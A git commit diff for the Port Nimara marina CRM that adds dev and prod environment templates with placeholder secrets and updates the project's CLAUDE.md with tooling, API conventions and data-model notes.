docs(launch): Initiative 2 (codebase + security audit) COMPLETE — 85 findings remediated

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

.env.dev.template

@@ -0,0 +1,58 @@
+# ─── Port Nimara CRM — DEV environment template ──────────────────────────────
+#
+# Copy to `.env` for local development. Values match the docker-compose.dev.yml
+# defaults (Postgres on :5434, Redis on :6379, MinIO on :9000).
+#
+# Integration credentials (Documenso, OpenAI, SMTP, S3, etc.) belong in the
+# admin UI after first login — see /admin/<integration>. The fallbacks at the
+# bottom are commented out by default to make the admin path obvious.
+
+# ─── Required (boot-time) ────────────────────────────────────────────────────
+
+DATABASE_URL=postgresql://crm:changeme@localhost:5434/port_nimara_crm
+REDIS_URL=redis://:changeme@localhost:6379
+
+BETTER_AUTH_SECRET=dev-secret-please-change-32-chars-minimum-12345678
+BETTER_AUTH_URL=http://localhost:3000
+CSRF_SECRET=dev-csrf-secret-please-change-32-chars-minimum-12345
+
+# Generated once for local dev. Production uses a different rotated key.
+EMAIL_CREDENTIAL_KEY=0000000000000000000000000000000000000000000000000000000000000000
+
+APP_URL=http://localhost:3000
+NEXT_PUBLIC_APP_URL=http://localhost:3000
+
+NODE_ENV=development
+LOG_LEVEL=debug
+
+# ─── Dev-only safety net ─────────────────────────────────────────────────────
+
+# When set, every outbound email is rerouted to this address.
+# Configure to YOUR personal email so seeded fake-client sends don't escape.
+# EMAIL_REDIRECT_TO=
+
+# Skip env validation (used by Docker build only).
+# SKIP_ENV_VALIDATION=
+
+# ─── Optional integration env fallbacks (admin UI is canonical) ──────────────
+# Uncomment + set ONLY if you want to bootstrap a port via env. Otherwise
+# configure each integration via /admin/<integration> after first login.
+
+# DOCUMENSO_API_URL=https://documenso.dev.example
+# DOCUMENSO_API_KEY=
+# DOCUMENSO_API_VERSION=v2
+# DOCUMENSO_WEBHOOK_SECRET=
+
+# SMTP_HOST=smtp.example
+# SMTP_PORT=587
+
+# OPENAI_API_KEY=
+
+# Local MinIO (set if NOT using the admin UI to configure storage)
+# MINIO_ENDPOINT=localhost
+# MINIO_PORT=9000
+# MINIO_ACCESS_KEY=minioadmin
+# MINIO_SECRET_KEY=minioadmin
+# MINIO_BUCKET=crm-files
+# MINIO_USE_SSL=false
+# MINIO_AUTO_CREATE_BUCKET=true

.env.example

@@ -1,66 +1,115 @@
+# ─── Port Nimara CRM env template ─────────────────────────────────────────────
+#
+# This file documents every env var the CRM understands. Most integration
+# settings have been moved into the per-port admin UI (see
+# `docs/superpowers/specs/2026-05-15-env-to-admin-migration-design.md`):
+#
+#   /admin/documenso     — Documenso API URL, key, version, webhook secret,
+#                          signers, templates
+#   /admin/ai            — OpenAI API key + model + master switch
+#   /admin/email         — SMTP host/port/user/pass, from-address
+#   /admin/storage       — S3/MinIO endpoint, bucket, access key, secret key
+#
+# After a fresh deploy:
+#   1. Set the REQUIRED block below (DB/Redis/auth secrets/encryption key).
+#   2. Boot the app and run `/setup` to create the first super-admin.
+#   3. Open `/admin/<integration>` and configure each one. Each field shows
+#      a "Using env fallback" badge if it's still inheriting from env, plus
+#      a "Copy from env" button for one-click migration into the DB.
+#
+# The COMMENTED env vars in the OPTIONAL block below still work as a runtime
+# fallback if you set them — useful for staging / dev to bootstrap quickly,
+# or for backward compatibility with older deployments. New ports inherit
+# from these as their initial defaults until the admin UI overrides them.
+#
+# ─── REQUIRED (boot-time secrets — must be in env) ────────────────────────────
+
 # Database
 DATABASE_URL=postgresql://crm:changeme@localhost:5432/port_nimara_crm
 
-# Redis
+# Redis (BullMQ + Socket.IO adapter)
 REDIS_URL=redis://:changeme@localhost:6379
 
-# Auth
+# Auth (must be 32+ char random strings; rotate carefully)
 BETTER_AUTH_SECRET=change-me-to-a-random-string-at-least-32-chars
 BETTER_AUTH_URL=http://localhost:3000
 CSRF_SECRET=change-me-to-a-random-string-at-least-32-chars
 
-# MinIO
-MINIO_ENDPOINT=localhost
-MINIO_PORT=9000
-MINIO_ACCESS_KEY=minioadmin
-MINIO_SECRET_KEY=minioadmin
-MINIO_BUCKET=crm-files
-MINIO_USE_SSL=false
-# When `true`, the S3 backend auto-creates the configured bucket on boot if it
-# does not exist (otherwise boot throws so deployment-time misconfigs surface
-# immediately). Leave unset in production.
-MINIO_AUTO_CREATE_BUCKET=false
-
-# Documenso
-# Use the bare host — never include `/api/v1` in this URL. The Documenso
-# client constructs versioned paths internally based on DOCUMENSO_API_VERSION
-# below, and a double-pathed URL (https://.../api/v1/api/v1/...) returns 404
-# on every call. Trailing-slash values are fine.
-DOCUMENSO_API_URL=https://documenso.example.com
-# `v1` (Documenso 1.13.x) or `v2` (Documenso 2.x). Determines which API path
-# prefix the client uses and which response-shape normalizer runs.
-DOCUMENSO_API_VERSION=v1
-DOCUMENSO_API_KEY=your-documenso-api-key
-DOCUMENSO_WEBHOOK_SECRET=your-webhook-secret-min-16-chars
-# The Documenso template id used by the EOI send pathway. Per-port overrides
-# live in `system_settings.documenso_template_id_eoi`; this env value is the
-# global fallback when no per-port row exists.
-DOCUMENSO_TEMPLATE_ID_EOI=
-# Recipient role ids on the EOI template. The send service copies the template
-# layout but re-targets recipients per interest, so we need the role ids to
-# look up which template recipient becomes the Client / Sales signer.
-DOCUMENSO_RECIPIENT_ID_CLIENT=
-DOCUMENSO_RECIPIENT_ID_SALES=
-
-# Email (SMTP)
-SMTP_HOST=mail.portnimara.com
-SMTP_PORT=587
-
-# Encryption (64-char hex string for AES-256)
+# AES-256 key for credential encryption at rest. 64-char hex string.
+# Generate with: openssl rand -hex 32
+# CRITICAL: rotating this orphans every encrypted credential in system_settings
+# (Documenso API key, SMTP password, OpenAI key, S3 access/secret keys).
+# Plan a re-keying flow before rotating in production.
 EMAIL_CREDENTIAL_KEY=0000000000000000000000000000000000000000000000000000000000000000
 
-# Google OAuth (optional)
-GOOGLE_CLIENT_ID=
-GOOGLE_CLIENT_SECRET=
-
-# OpenAI (optional)
-OPENAI_API_KEY=
-
-# App
+# App URL — used by middleware redirects + outbound email link construction.
 APP_URL=http://localhost:3000
-PUBLIC_SITE_URL=https://portnimara.com
+
+# Inlined into the client JS bundle at build time. Must match APP_URL.
+NEXT_PUBLIC_APP_URL=http://localhost:3000
+
+# Process basics
 NODE_ENV=development
 LOG_LEVEL=info
 
-# Next.js public
-NEXT_PUBLIC_APP_URL=http://localhost:3000
+# When true, the filesystem storage backend refuses to start. Multi-node
+# deploys MUST use the s3-compatible backend (per CLAUDE.md).
+# MULTI_NODE_DEPLOYMENT=false
+
+
+# ─── OPTIONAL: integration env fallbacks ──────────────────────────────────────
+# Each of the following is configurable in the admin UI. Uncomment + set ANY
+# of these to provide a fallback that ports inherit when their admin field is
+# blank. The admin UI labels each inherited field with a "Using env fallback"
+# badge and offers a "Copy from env" button for one-click migration into the
+# port-scoped DB row.
+
+# ─ Documenso (admin: /admin/documenso) ─
+# DOCUMENSO_API_URL=https://documenso.example.com    # Bare host. Never include /api/v1.
+# DOCUMENSO_API_KEY=your-documenso-api-key           # AES-encrypted once written via admin
+# DOCUMENSO_API_VERSION=v1                            # v1 (1.13.x) or v2 (2.x)
+# DOCUMENSO_WEBHOOK_SECRET=                           # Min 16 chars. Generate: openssl rand -hex 16
+# DOCUMENSO_TEMPLATE_ID_EOI=
+# DOCUMENSO_CLIENT_RECIPIENT_ID=
+# DOCUMENSO_DEVELOPER_RECIPIENT_ID=
+# DOCUMENSO_APPROVAL_RECIPIENT_ID=
+
+# ─ Email / SMTP (admin: /admin/email) ─
+# SMTP_HOST=mail.portnimara.com
+# SMTP_PORT=587
+# SMTP_USER=
+# SMTP_PASS=                                          # AES-encrypted once written via admin
+# SMTP_FROM=                                          # e.g. "Port Nimara <noreply@example.com>"
+
+# Dev/test safety net: when set, every outbound email is rerouted to this
+# address regardless of recipient. Subject is prefixed with [redirected from <orig>].
+# CRITICAL: env validation refuses boot if NODE_ENV=production AND this is set.
+# EMAIL_REDIRECT_TO=
+
+# ─ Storage / S3 / MinIO (admin: /admin/storage) ─
+# MINIO_ENDPOINT=localhost
+# MINIO_PORT=9000
+# MINIO_ACCESS_KEY=                                   # AES-encrypted once written via admin
+# MINIO_SECRET_KEY=                                   # AES-encrypted (already)
+# MINIO_BUCKET=crm-files
+# MINIO_USE_SSL=false
+# MINIO_AUTO_CREATE_BUCKET=false                      # Auto-create bucket at boot
+
+# ─ OpenAI (admin: /admin/ai) ─
+# OPENAI_API_KEY=                                     # AES-encrypted once written via admin
+
+# ─ Public marketing site URL (admin: /admin/general — TODO) ─
+# PUBLIC_SITE_URL=https://portnimara.com
+
+# ─ Webhook intake from marketing site (deployment-shared, env-only) ─
+# Shared secret with the marketing website's CRM_INTAKE_SECRET. Min 16 chars.
+# WEBSITE_INTAKE_SECRET=
+
+# ─ Sentry (optional — when unset the SDK is a no-op) ─
+# NEXT_PUBLIC_SENTRY_DSN=
+# SENTRY_ENVIRONMENT=
+# SENTRY_TRACES_SAMPLE_RATE=0.1
+
+# ─ Google OAuth (not currently used) ─
+# GOOGLE_CLIENT_ID=
+# GOOGLE_CLIENT_SECRET=

.env.prod.template

@@ -0,0 +1,58 @@
+# ─── Port Nimara CRM — PROD environment template ─────────────────────────────
+#
+# Production env contains ONLY the boot-time minimum: DB connection, auth
+# secrets, encryption key, app URL, log level. Every integration credential
+# (Documenso, OpenAI, SMTP, S3) is configured per-port in the admin UI after
+# the first super-admin completes /setup. This keeps secrets out of the
+# infrastructure layer (k8s ConfigMap, .env files, deploy logs).
+#
+# Generate fresh secrets:
+#   openssl rand -hex 32      # for BETTER_AUTH_SECRET, CSRF_SECRET
+#   openssl rand -hex 32      # for EMAIL_CREDENTIAL_KEY (must be 64 hex chars)
+
+# ─── Required ────────────────────────────────────────────────────────────────
+
+DATABASE_URL=postgresql://USER:PASS@HOST:5432/port_nimara_crm
+REDIS_URL=redis://:PASS@HOST:6379
+
+BETTER_AUTH_SECRET=GENERATE_OPENSSL_RAND_HEX_32
+BETTER_AUTH_URL=https://crm.example.com
+CSRF_SECRET=GENERATE_OPENSSL_RAND_HEX_32
+
+# CRITICAL: rotating this orphans every encrypted credential in
+# system_settings. Plan a re-keying flow before rotating.
+EMAIL_CREDENTIAL_KEY=GENERATE_OPENSSL_RAND_HEX_32_PRODUCES_64_CHARS
+
+APP_URL=https://crm.example.com
+NEXT_PUBLIC_APP_URL=https://crm.example.com
+
+NODE_ENV=production
+LOG_LEVEL=info
+
+# ─── Multi-node guard ────────────────────────────────────────────────────────
+# Set true if running > 1 app instance. Forces the storage backend off
+# filesystem onto S3-compatible (filesystem mode is single-node only).
+MULTI_NODE_DEPLOYMENT=true
+
+# ─── Sentry (highly recommended in prod) ─────────────────────────────────────
+NEXT_PUBLIC_SENTRY_DSN=https://YOUR_KEY@YOUR_PROJECT.ingest.sentry.io/PROJECT_ID
+SENTRY_ENVIRONMENT=production
+SENTRY_TRACES_SAMPLE_RATE=0.1
+
+# ─── Webhook intake from marketing site (deployment-shared) ──────────────────
+# Must match the marketing site's CRM_INTAKE_SECRET. Min 16 chars.
+WEBSITE_INTAKE_SECRET=GENERATE_OPENSSL_RAND_HEX_16
+
+# ─── DO NOT SET in production ────────────────────────────────────────────────
+# EMAIL_REDIRECT_TO     — Will fail boot validation (silently rewrites every
+#                          outbound email recipient).
+# SKIP_ENV_VALIDATION   — Bypasses safety checks. Internal use only.
+
+# ─── Integration credentials live in /admin/<integration>, NOT here ──────────
+# Once deployed:
+#   1. Run `pnpm exec drizzle-kit push` (or your migration script)
+#   2. Hit https://crm.example.com/setup to create the first super-admin
+#   3. Log in → /admin/documenso, /admin/email, /admin/storage, /admin/ai
+#   4. Configure each integration. AES-encrypted at rest.
+#   5. Run `pnpm tsx scripts/encrypt-plaintext-credentials.ts` once to encrypt
+#      any legacy plaintext rows from older deployments.

.gitignore

@@ -58,3 +58,6 @@ docker-compose.override.yml
 
 # Local berth-PDF + brochure samples used as upload fixtures during dev.
 /berth_pdf_example/
+
+# Scratch / audit artefacts
+tmp/

CLAUDE.md

@@ -1,18 +1,17 @@
 # Port Nimara CRM
 
-Multi-tenant CRM for marina/port management. Built with Next.js 15 App Router (standalone output), React 19, TypeScript (strict), Tailwind CSS 3, and Drizzle ORM on PostgreSQL.
+Multi-tenant CRM for marina/port management. Next.js 15 App Router (standalone), React 19, TypeScript strict (`noUncheckedIndexedAccess`, no `any`), Drizzle ORM on PostgreSQL.
 
 ## Quick reference
 
 ```bash
-pnpm dev              # Start dev server
+pnpm dev              # Dev server
 pnpm build            # Production build
-pnpm lint             # ESLint
-pnpm format           # Prettier
+pnpm lint / format    # ESLint / Prettier
 pnpm db:generate      # Generate Drizzle migrations
 pnpm db:push          # Push schema to DB
 pnpm db:studio        # Drizzle Studio GUI
-pnpm db:seed          # Seed database (tsx src/lib/db/seed.ts)
+pnpm db:seed          # Seed (tsx src/lib/db/seed.ts)
 
 # Tests
 pnpm exec vitest run                                  # Unit + integration (~3s)
@@ -26,25 +25,52 @@ pnpm exec playwright test --project=visual --update-snapshots  # Regenerate base
 # Dev helpers
 pnpm tsx scripts/dev-trigger-portal-invite.ts         # Send a portal activation email
 pnpm tsx scripts/dev-imap-probe.ts                    # Dump recent IMAP inbox messages
+
+# Cloudflare quick-tunnel (for Documenso webhook testing)
+launchctl load   ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist   # start
+launchctl unload ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist   # stop
+./scripts/tunnel-url.sh --copy                                                 # print + copy webhook URL
+
+# Schema migration (pnpm db:migrate is broken — apply via psql)
+PGPASSWORD=changeme psql -h localhost -p 5434 -U crm -d port_nimara_crm -f src/lib/db/migrations/0075_*.sql
 ```
 
-## Tech stack
+## Working in this repo — skills, MCPs, agents
 
-- **Framework:** Next.js 15.1 App Router, `output: 'standalone'`, `experimental.typedRoutes`
-- **Auth:** better-auth (session cookie: `pn-crm.session_token`)
-- **Database:** PostgreSQL via `postgres` driver + Drizzle ORM
+Reach for these before grinding through tasks manually:
+
+- **Skills** (invoke with `Skill` tool):
+  - `superpowers:brainstorming` before any feature/component work — explores intent + design first
+  - `superpowers:test-driven-development` for any feature or bugfix
+  - `superpowers:systematic-debugging` for any bug / test failure / unexpected behavior
+  - `superpowers:verification-before-completion` before claiming "done" or committing
+  - `superpowers:writing-plans` / `executing-plans` for multi-step specs
+  - `superpowers:dispatching-parallel-agents` when 2+ tasks are independent
+  - `frontend-design:frontend-design` for new UI work (avoids generic AI aesthetics)
+  - `code-review:code-review` and `security-review` before merging
+- **MCPs**:
+  - **Context7** (`mcp__plugin_context7_context7__*`) — pull current docs for Next 15, Drizzle, better-auth, BullMQ, Tailwind, Radix etc. Prefer over web search; our training data lags.
+  - **Playwright** (`mcp__plugin_playwright_playwright__*`) — verify UI changes in a real browser before reporting "done". Default viewport — do NOT call `browser_resize`.
+  - **Serena** (`mcp__plugin_serena_serena__*`) — symbol-level navigation (`find_symbol`, `find_referencing_symbols`, `replace_symbol_body`). Much faster than grep for "where is this called".
+  - **Postman** (`mcp__claude_ai_Postman__*`) — when designing or auditing API surfaces.
+- **Agents** (via `Agent` tool, `subagent_type=`):
+  - `Explore` for any codebase search that would take > 3 queries
+  - `feature-dev:code-explorer` / `code-architect` / `code-reviewer` for new feature work
+- **Doctrine**: skills override default behavior except user instructions in this file. If a CLAUDE.md rule conflicts with a skill, this file wins.
+- **Pre-launch tracker**: `docs/launch-readiness.md` is the master pre-launch tracker for the beta phase. Append every launch-blocking initiative or sub-task there with status tags (`OPEN | IN PROGRESS | SHIPPED in <hash> | BLOCKED | DEFERRED`). Read it at the start of any non-trivial task.
+- **Manual UAT — currently active doc**: `docs/superpowers/audits/active-uat.md` is the **live** findings doc. Every UAT finding the user surfaces in chat lands here regardless of which session captures it. Persists across sessions until the user explicitly says to wrap the round and archive — at which point rename to `YYYY-MM-DD-uat.md` and start a fresh `active-uat.md`. Buckets: Quick fixes (<15min), Medium (15min–2h), Features/larger (>2h), Bugs (severity-tagged). Tag every entry with status: `OPEN | IN PROGRESS | SHIPPED in <hash> | QUEUED | BLOCKED`. Don't ask the format each time.
+
+## Tech stack (non-obvious choices)
+
+- **Auth:** better-auth — session cookie `pn-crm.session_token`
 - **Queue:** BullMQ + Redis (ioredis)
-- **Storage:** MinIO (S3-compatible)
+- **Storage:** pluggable via `getStorageBackend()` — MinIO/S3 default; never import the S3 SDK directly
 - **Realtime:** Socket.IO with Redis adapter
-- **UI:** Radix UI primitives, shadcn/ui components (`src/components/ui/`), Lucide icons, CVA + tailwind-merge + clsx
+- **UI:** Radix UI + shadcn/ui (`src/components/ui/`) + Lucide + CVA + tailwind-merge
 - **Forms:** react-hook-form + zod resolvers
-- **Tables:** TanStack Table
-- **State:** Zustand stores (`src/stores/`), TanStack React Query
-- **PDF:** pdfme
+- **State:** Zustand (`src/stores/`) + TanStack React Query
+- **PDF:** pdfme (templates) + pdf-lib (AcroForm fill)
 - **Email:** nodemailer + imapflow + mailparser
-- **AI:** OpenAI SDK (optional)
-- **Testing:** Vitest (unit), Playwright (e2e)
-- **Logging:** pino + pino-pretty
 
 ## Project structure
 
@@ -52,134 +78,163 @@ pnpm tsx scripts/dev-imap-probe.ts                    # Dump recent IMAP inbox m
 src/
   app/
     (auth)/          # Login/auth pages
-    (dashboard)/     # Main app - route: /[portSlug]/...
+    (dashboard)/     # Main app — route: /[portSlug]/...
     (portal)/        # Client portal
-    api/             # API routes
+    api/             # API routes (route.ts + sibling handlers.ts)
   components/
     ui/              # shadcn/ui base components
     layout/          # Shell, sidebar, header
-    [domain]/        # Domain components (clients, invoices, berths, etc.)
-    shared/          # Cross-domain shared components
-  hooks/             # React hooks (use-auth, use-permissions, use-socket, etc.)
+    [domain]/        # clients, yachts, companies, reservations, berths, …
+    shared/          # Cross-domain (BrandedAuthShell, InlineEditableField, …)
+  hooks/             # use-auth, use-permissions, use-socket, …
   lib/
-    api/             # API client utilities
+    api/             # Route helpers (parseBody, errorResponse, withAuth, …)
     auth/            # better-auth config
-    db/
-      schema/        # Drizzle schema (one file per domain)
-      migrations/    # Generated Drizzle migrations
+    db/schema/       # Drizzle schema — one file per domain, re-exported from index.ts
+    db/migrations/   # Generated Drizzle migrations (apply via psql in dev)
     env.ts           # Zod env validation (SKIP_ENV_VALIDATION=1 bypasses)
-    services/        # Business logic services
-    validators/      # Zod schemas for API input validation
-    utils/           # Shared utilities
+    services/        # Business logic
+    storage/         # Pluggable storage backend
+    templates/       # Email/document merge fields, berth-range formatter
+    validators/      # Zod schemas for API input
   middleware.ts      # Auth middleware (cookie check, redirects)
-  providers/         # React context providers
-  stores/            # Zustand stores
-  types/             # Shared TypeScript types
+  stores/            # Zustand
 ```
 
-## Conventions
+## Conventions & gotchas
 
-- **TypeScript:** Strict mode with `noUncheckedIndexedAccess`. No `any` (ESLint error).
-- **Formatting:** Prettier - single quotes, semicolons, trailing commas, 2-space indent, 100 char line width.
-- **Lint:** ESLint flat config extending `next/core-web-vitals`, `next/typescript`, `prettier`. Unused vars prefixed with `_` are allowed.
-- **Imports:** Use `@/*` path alias (maps to `src/*`).
-- **Components:** shadcn/ui pattern - base components in `src/components/ui/`, domain components in `src/components/[domain]/`. Yacht / company / reservation domains live in `components/yachts`, `components/companies`, `components/reservations` respectively.
-- **DB schema:** One file per domain in `src/lib/db/schema/`, re-exported from `index.ts`. Relations in `relations.ts`. Domain files include `clients.ts`, `yachts.ts`, `companies.ts`, `reservations.ts`, `interests.ts`, `berths.ts`, `documents.ts`, `invoices.ts`, etc.
-- **Polymorphic ownership:** Yachts and invoice billing-entities use `<entity>_type` + `<entity>_id` column pairs (`'client' | 'company'`). Resolve owner identity through `src/lib/services/yachts.service.ts` / `eoi-context.ts` rather than reading the columns ad hoc — those services apply the type discriminator.
-- **EOI generation:** Two pathways share the same `EoiContext` (`src/lib/services/eoi-context.ts`). Documenso pathway calls the template-generate endpoint via `documenso-payload.ts`; in-app pathway fills the same source PDF (`assets/eoi-template.pdf`) via `src/lib/pdf/fill-eoi-form.ts` (pdf-lib AcroForm). Routed through `generateAndSign(...)` in `src/lib/services/document-templates.ts` with a `pathway` parameter.
-- **Merge fields:** Token catalog lives in `src/lib/templates/merge-fields.ts`; the `createTemplateSchema` validator uses `VALID_MERGE_TOKENS` as an allow-list, so unknown tokens are rejected at template creation time.
-- **Documenso webhooks:** Documenso (both v1.13 and 2.x) authenticates outbound webhooks by sending the configured secret in plaintext via the `X-Documenso-Secret` header — there is no HMAC. The receiver at `src/app/api/webhooks/documenso/route.ts` does a timing-safe equality check via `verifyDocumensoSecret`. Event names arrive as the uppercase Prisma enum on the wire (`DOCUMENT_SIGNED`, `DOCUMENT_COMPLETED`, etc.) even though the UI displays them as lowercase-dotted. The route also normalizes lowercase-dotted variants for forward-compat. `handleDocumentCompleted` is **idempotent** — early-returns when `doc.status === 'completed' && doc.signedFileId` so Documenso retries on 5xx don't insert duplicate file rows + orphan blobs. The switch handles `DOCUMENT_SIGNED|COMPLETED|REJECTED|DECLINED|OPENED|EXPIRED`, plus v2 aliases `RECIPIENT_VIEWED` / `RECIPIENT_SIGNED` (logged + routed to v1 equivalents).
-- **Documenso API responses:** 2.x renamed `id` → `documentId` and recipient `id` → `recipientId`; v1.13 still uses `id`. `src/lib/services/documenso-client.ts` runs every response through `normalizeDocument()` which reads either field name and surfaces the legacy `id` form to downstream consumers.
-- **Documenso v1 vs v2 endpoint routing:** `getPortDocumensoConfig(portId)` resolves the per-port `apiVersion` ('v1' | 'v2'). `documenso-client.ts` exports version-aware wrappers: `getDocument`, `createDocument`, `sendDocument`, `sendReminder`, `downloadSignedPdf`, `voidDocument`, `placeFields`. v2 → `/api/v2/envelope/*` (`create` is multipart with `{payload, files}`; `distribute` returns per-recipient `signingUrl` in one round-trip; `redistribute` for reminders; `field/create-many` for bulk placement with percent coords + `fieldMeta`). v1 → existing `/api/v1/documents/*` paths. **Template flow is intentionally still v1** (`/api/v1/templates/{id}/generate-document` with `formValues` keyed by name) — v2 instances accept it via backward compat. Full v2 `/template/use` migration with `prefillFields` by ID needs per-template field-ID capture in admin settings and is deferred. Two per-port v2 settings now wired through `buildDocumensoPayload` + `documensoCreate.meta`: `documenso_signing_order` (PARALLEL/SEQUENTIAL — v2-enforced) and `documenso_redirect_url` (post-sign redirect; both versions honour). `checkDocumensoHealth` returns the resolved `apiVersion` for the admin Test button.
-- **Email templates:** Branded HTML lives in `src/lib/email/templates/`. The portal-auth flow uses `portal-auth.ts` (activation + reset). All templates use the legacy table-based layout with the Port Nimara logo + blurred overhead background, max-width 600px and `width:100%` for responsive shrink. The `<img>` URLs reference `s3.portnimara.com` directly (will move to `/public` later).
-- **Portal auth pages:** `/portal/login`, `/portal/activate`, `/portal/reset-password` and the CRM `/login`, `/reset-password`, `/set-password` all wrap their content in `<BrandedAuthShell>` (`src/components/shared/branded-auth-shell.tsx`) which renders the same blurred background + logo + white card the email templates use, so the in-app and email surfaces look unified.
-- **Sheet vs Drawer doctrine:** `<Sheet side="right">` (`src/components/ui/sheet.tsx`, Radix dialog) is the canonical side-panel for forms and previews on **both** desktop and mobile (`w-3/4 ... sm:max-w-sm` adapts naturally). Vaul `<Drawer>` (`src/components/shared/drawer.tsx`) is reserved for **mobile-only bottom-sheet UX** — currently just the `MoreSheet` nav (`src/components/layout/mobile/more-sheet.tsx`). If you need a side panel of any kind, use Sheet. Don't add new Vaul drawers without a mobile-bottom-sheet justification.
-- **Inline editing pattern:** detail pages (clients, yachts, companies, interests, residential clients/interests) use `<InlineEditableField>` (`src/components/shared/inline-editable-field.tsx`) for click-to-edit text/select/textarea fields and `<InlineTagEditor>` (`src/components/shared/inline-tag-editor.tsx`) for tag chips. Each entity exposes a `PUT /api/v1/<entity>/[id]/tags` endpoint backed by a `set<Entity>Tags` service helper that wipes-and-rewrites the join table inside a single transaction. There are no separate "Edit" modal forms on detail pages — the entire overview tab is editable in place.
-- **Notes (polymorphic across entity types):** `notes.service.ts` dispatches across `clientNotes`, `interestNotes`, `yachtNotes`, `companyNotes` based on an `entityType` discriminator. `<NotesList entityType="…" />` works for all four. `companyNotes` lacks an `updatedAt` column — the service substitutes `createdAt` so callers get a uniform shape.
-- **Document folders:** Per-port nestable tree (`document_folders` self-FK on `parent_id`; null parent = root). Documents and files carry a nullable `folder_id` (null = root). Sibling-name uniqueness via `uniq_document_folders_sibling_name` on `(port_id, COALESCE(parent_id, '__root__'), LOWER(name))`. Folder delete is **soft rescue**: `deleteFolderSoftRescue` re-parents every child folder + document + file up to the deleted folder's parent (or to root) inside a transaction, then drops the folder row — never CASCADE. Cycle prevention in `moveFolder` walks the destination's ancestor chain.
+### API shape
 
-  Three system roots (`Clients/`, `Companies/`, `Yachts/`) are auto-created on port init via `ensureSystemRoots`. Per-entity subfolders are created lazily on first auto-deposit / manual upload via `ensureEntityFolder` — concurrent callers race safely via the partial unique index `uniq_document_folders_entity` on `(port_id, entity_type, entity_id) WHERE entity_id IS NOT NULL`. The `chk_system_folder_shape` CHECK pins the shape of system rows. Rename/move/delete on `system_managed = true` folders is rejected by `assertNotSystemManaged` (service-level, not DB-level). Entity rename auto-syncs the folder name via `syncEntityFolderName`; archive applies a ` (archived)` suffix via `applyEntityArchivedSuffix`; hard-delete demotes (`system_managed = false`) + appends ` (deleted)` via `demoteSystemFolderOnEntityDelete`.
+- **Envelope:** `{ data: <T> }` for any returned content (read OR write). Mutations returning nothing emit `204 No Content`. Don't use `{ success: true }` (legacy; normalized away 2026-05-07). Public portal-auth endpoints keep `{ success: true }` so the frontend can chain.
+- **Lists:** `{ data: <T[]>, total?, hasMore? }` — see `/api/v1/clients`.
+- **Errors:** always via `errorResponse(error)` from `@/lib/errors` (request-id propagation + audit-tier mapping).
+- **Body parsing:** always `parseBody(req, schema)` from `@/lib/api/route-helpers`. Raw `req.json() + schema.parse()` produces a generic 500 instead of the field-level 400 the frontend's `toastError` hook expects.
+- **Route handlers:** `route.ts` files can only export `GET|POST|…`. Service-tested handlers live in sibling `handlers.ts` (e.g. `src/app/api/v1/yachts/[id]/handlers.ts`) and are imported by `route.ts` with `withAuth(withPermission(...))`. Integration tests import from `handlers.ts` directly to bypass middleware.
 
-  Auto-deposit on signing completion: `handleDocumentCompleted` resolves the owner via the Owner-wins chain (`document.clientId ?? .companyId ?? .yachtId ?? interest.clientId ?? interest.yachtId`), ensures the matching entity subfolder, and sets `files.folder_id` + the matching entity FK on the signed file row. Falls back to root when no owner is resolvable. (Note: `interests` table has no `companyId` column, hence the chain's interest fallback omits it.)
+### Data model
 
-  Aggregated projection: `listFilesAggregatedByEntity` / `listInflightWorkflowsAggregatedByEntity` walk the relationship graph from the requested entity (symmetric reach: Client ↔ Company via `company_memberships` filtered to active rows via `isNull(end_date)`, ↔ Yacht via `yachts.current_owner_type/id`) and return results grouped by source (DIRECTLY ATTACHED / FROM COMPANY / FROM YACHT / FROM CLIENT). Each group caps at 20 rows with a total for `Show all (N)`. The files projection LEFT JOINs `documents` on `signed_file_id` to surface `signedFromDocumentId` per row — used by the UI's "view signing details" link. **File-FK snapshot is the source of truth** — historical files stay where they were filed even if the linked entity's relationships change. **Defense-in-depth `port_id` filter at every join** (per recommender precedent) — entry-point check alone is rejected. Completed workflows are hidden from folder views (`listDocuments` excludes `status='completed'` when `folderId` is set); the signed-PDF file surfaces in the Files section with a "view signing details" link to the workflow audit trail (via `GET /api/v1/documents/[id]/signing-details`).
-
-  Hub UI: rebuilt around three render modes — `HubRootView` (no folder), `EntityFolderView` (system-managed entity subfolder, renders Signing-in-progress + Files via the aggregated projection), `FlatFolderListing` (any other folder). Sidebar shows lock markers on system folders and mutes archived entity folders. The signing-status tabs strip (`in_progress` / `awaiting_them` / etc.) was removed; folders are now the primary navigation.
-
-  Permission gating: `documents.view` for read of folders + entity-aggregated listing; `documents.manage_folders` for create / rename / move / delete of user folders (system folders are immutable through the API entirely).
-
-  Deploy: schema migration `0051_documents_hub_split.sql` ships the columns; `pnpm db:backfill:doc-folders` (script `scripts/backfill-document-folders.ts`) runs after the migration and is idempotent (per-port `pg_advisory_xact_lock`).
-
-- **Route handler exports:** Next.js App Router `route.ts` files only allow specific named exports (`GET|POST|…`). Service-tested handler functions live in sibling `handlers.ts` files (e.g. `src/app/api/v1/yachts/[id]/handlers.ts`) and are imported by the colocated `route.ts` for `withAuth(withPermission(...))` wrapping. Integration tests import from `handlers.ts` directly to bypass auth/permission middleware.
-- **Multi-berth interest model:** `interest_berths` is the source of truth for which berths an interest is linked to; `interests.berth_id` does not exist (dropped in migration 0029). Three role flags: `is_primary` (≤1 row per interest, enforced by partial unique index — surfaces as "the berth for this deal" in templates / forms / list views), `is_specific_interest` (true → berth shows as "Under Offer" on the public map; false → legal/EOI-only link), `is_in_eoi_bundle` (covered by the interest's EOI signature). Read/write through `src/lib/services/interest-berths.service.ts` helpers (`getPrimaryBerth`, `getPrimaryBerthsForInterests`, `upsertInterestBerth`, `setPrimaryBerth`, `removeInterestBerth`); never query `interest_berths` from outside that service.
-- **Mooring number canonical format:** `^[A-Z]+\d+$` (e.g. `A1`, `B12`, `E18`) — no hyphen, no leading zeros. Stored, displayed, URL-encoded, and rendered in EOIs in this exact form. Phase 0 normalized the entire CRM dataset; the mooring-pattern regex gates the public `/api/public/berths/[mooringNumber]` route before any DB hit.
